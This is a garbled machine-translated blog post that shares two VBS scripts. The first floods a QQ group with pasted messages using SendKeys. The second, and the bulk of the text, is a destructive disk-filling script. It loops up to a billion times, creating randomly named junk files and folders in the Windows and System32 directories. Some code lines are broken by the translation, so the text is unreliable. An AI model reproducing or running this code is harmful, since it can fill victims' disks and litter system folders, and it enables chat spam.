Do not know is recently or before, anyway is these days often on the internet to see a brush QQ group of VBS code.
Copy Code code as follows:
Set wshshell= wscript.createobject ("Wscript.Shell")
Wshshell.appactivate "Group-Powers member Exchange"
The number of times to send I=1 to 10 '
Wscript.Sleep 500 ' time interval for sending messages
Wshshell.sendkeys "^v" ' content to be sent
Wshshell.sendkeys i ' here is different from each message, followed by I, the number of cycles
Wshshell.sendkeys '%s '
Next
This code inside explain very clearly of ~ hehe
In fact, just so a little bit has been able to get us to do a few fun things up ~ such as: Brush QQ chat Ah, brush the site ~
Because of interest, I found this code: a VBS script to write hard drives (don't do bad things)
Copy Code code as follows:
On Error Resume Next
Dim Objdir,suijishu
Set Objdir=wscript.createobject ("Scripting.FileSystemObject")
Set Windir=objdir.getspecialfolder (0)
Set Sysdir=objdir.getspecialfolder (1)
' Start Program
For I=1 to 1000
For J=1 to 1000
For r=1 to 1000 '------------------------------------------------------------------------------
Randomize
Y=int ((122-65+1) *rnd+65)
Y1=int ((122-65+1) *rnd+65)
Y2=int ((122-65+1) *rnd+65)
Y3=int ((122-65+1) *rnd+65)
Y4=int ((122-65+1) *rnd+65)
Y5=int ((122-65+1) *rnd+65)
Y6=int ((122-65+1) *rnd+65)
Y7=int ((122-65+1) *rnd+65)
Y8=int ((122-65+1) *rnd+65) '-----------------------------------------------------------------
Y9=int ((122-65+1) *rnd+65)
F=CHR (y) &chr (y1) &chr (y2) &chr (y3) &chr (y4) &chr (Y5) &chr (Y6) &chr (Y7) &CHR (Y8) & Chr (Y9)
Suijishu=int (rnd*10000)
' Create a Windows file
yang=windir& "" &f& "". &CHR (y3) &chr (Y7) &chr (y)
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220" '------------------------------------------------------------
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=windir& "" &CHR (y3) &chr (y1) & "." &CHR (y) &chr (y4) &chr (y2) ' 2
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For u=1 to Suijishu '-----------------------------------------------------------------------
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=windir& "" &CHR (Y7) &chr (y2) &chr (Y9) & "." &CHR (Y8) &CHR (y4) &chr (y1) ' 3
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (f&f&f&f&f&f&f) '----------------------------------------------------------- --
Next
A.close
yang=windir& "" &CHR (Y5) &chr (y2) &chr (Y9) &chr (y1) & "." &CHR (Y6) &chr (Y9) &chr (y3) ' 4
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next '--------------------------------------------------------------------------------------
A.close
yang=windir& "" &CHR (Y6) &chr (y2) &chr (y) &chr (y4) &CHR (Y5) & "." &CHR (Y6) &chr (Y8) &CHR (y4) ' 5
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close '---------------------------------------------------------------------------------
yang=windir& "" &CHR (y3) &chr (Y6) &chr (y1) &chr (Y8) &CHR (Y5) &CHR (Y9) & "." &CHR (y3) &chr (Y8) &chr (y) ' 6
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close '----------------------------------------------------------------------------------
yang=windir& "" &CHR (y4) &chr (y2) &chr (y1) &chr (Y7) &chr (Y8) &chr (y) &chr (y4) & "." &CHR (y2) &chr (y) &chr (y5) ' 7
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=windir& "" &CHR (Y8) &chr (y2) &chr (Y6) &chr (y4) &chr (y1) &chr (y) &chr (Y6) &CHR ( y1) & "." &CHR (Y4) &chr (y) &chr (Y7) ' 8 '---
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
' Create System file------------------------------------------------------------------------------10
yang=sysdir& "" &f& "". &CHR (y3) &chr (Y9) &chr (y1)
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (y3) &chr (y1) & "." &CHR (y4) &chr (y2) &chr (Y9) ' 2------------------------------------------
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (Y7) &chr (y2) &chr (Y9) & "." &CHR (y3) &chr (Y7) &chr (y) ' 3
Set A=objdir.createtextfile (yang,true) '------------------------------------------------------
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (Y5) &chr (y2) &chr (Y9) &chr (y1) & "." &CHR (Y5) &chr (y4) &chr (y1) ' 4
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan" '-----------------------------------------
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (Y6) &chr (y2) &chr (y) &chr (y4) &CHR (Y5) & "." &CHR (y3) &chr (Y6) &chr (Y9) ' 5
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline, Comrade Lao Yang, chief executive of the Antique Neighborhood Committee "'------------------------------------------------
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (y3) &chr (Y6) &chr (y1) &chr (Y8) &CHR (Y5) &CHR (Y9) & "." &CHR (y3) &chr (y) &chr (y5) ' 6
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220" '------------------------------------------------------------15
For U=1 to Suijishu
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (y4) &chr (y2) &chr (y1) &chr (Y7) &chr (Y8) &chr (y) &chr (y4) & "." &CHR (Y7) &chr (Y5) &chr (y1) ' 7
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For u=1 to Suijishu '-------------------------------------------------------------------------
A.writeline (F&F&F&F&F&F&F)
Next
A.close
yang=sysdir& "" &CHR (Y8) &chr (y2) &chr (Y6) &chr (y4) &chr (y1) &chr (y) &chr (Y6) &CHR ( y1) & "." &CHR (y1) &chr (Y7) &chr (y4) ' 8
Set A=objdir.createtextfile (yang,true)
A.writeline "Made in China,hubei,wuhan,guanshan"
A.writeline "Antique Neighborhood Committee chief executive Lao Yang comrade"
A.writeline "oicq:14903220"
For U=1 to Suijishu
A.writeline (f&f&f&f&f&f&f) '----------------------------------------------------------- ---
Next
A.close
' Create a Windows folder
yang=windir& "" &f& "U"
Objdir.createfolder (Yang)
yang=windir& "" &CHR (y4) &chr (y2) ' 2
Objdir.createfolder (Yang)
yang=windir& "" &chr (y) &chr (Y9) &chr (Y5) ' 3
Objdir.createfolder (yang) '-------------------------------------------------------------------
yang=windir& "" &CHR (Y6) &chr (y3) &chr (Y8) &CHR (Y7) ' 4
Objdir.createfolder (Yang)
yang=windir& "" &CHR (Y5) &chr (y) &chr (y1) &chr (Y9) &chr (y3) ' 5
Objdir.createfolder (Yang)
yang=windir& "" &CHR (Y6) &chr (Y9) &chr (y4) &chr (Y6) &chr (y1) &chr (Y7) ' 6
Objdir.createfolder (Yang)
yang=windir& "" &CHR (y3) &chr (Y6) &chr (y) &chr (y1) &chr (Y7) &chr (Y6) &chr (y2) ' 7
Objdir.createfolder (Yang)
yang=windir& "" &CHR (Y6) &chr (y2) &chr (Y9) &chr (y) &chr (y4) &chr (Y7) &chr (y2) &chr ( Y5) ' 8
Objdir.createfolder (yang) '--------------------------------------------------------------------
' Create the System folder
yang=sysdir& "" &f& "n"
Objdir.createfolder (Yang)
yang=sysdir& "" &CHR (y4) &chr (y2) ' 2
Objdir.createfolder (Yang)
yang=sysdir& "" &chr (y) &chr (Y9) &chr (Y5) ' 3
Objdir.createfolder (Yang)
yang=sysdir& "" &CHR (Y6) &chr (y3) &chr (Y8) &CHR (Y7) ' 4
Objdir.createfolder (yang) '---------------------------------------------------------------------
yang=sysdir& "" &CHR (Y5) &chr (y) &chr (y1) &chr (Y9) &chr (y3) ' 5
Objdir.createfolder (Yang)
yang=sysdir& "" &CHR (Y6) &chr (Y9) &chr (y4) &chr (Y6) &chr (y1) &chr (Y7) ' 6
Objdir.createfolder (Yang)
yang=sysdir& "" &CHR (y3) &chr (Y6) &chr (y) &chr (y1) &chr (Y7) &chr (Y6) &chr (y2) ' 7
Objdir.createfolder (Yang)
yang=sysdir& "" &CHR (Y6) &chr (y2) &chr (Y9) &chr (y) &chr (y4) &chr (Y7) &chr (y2) &chr ( Y5) ' 8
Objdir.createfolder (Yang)
Next
Next
Next
' Comrade Lao Yang's masterpiece of vomiting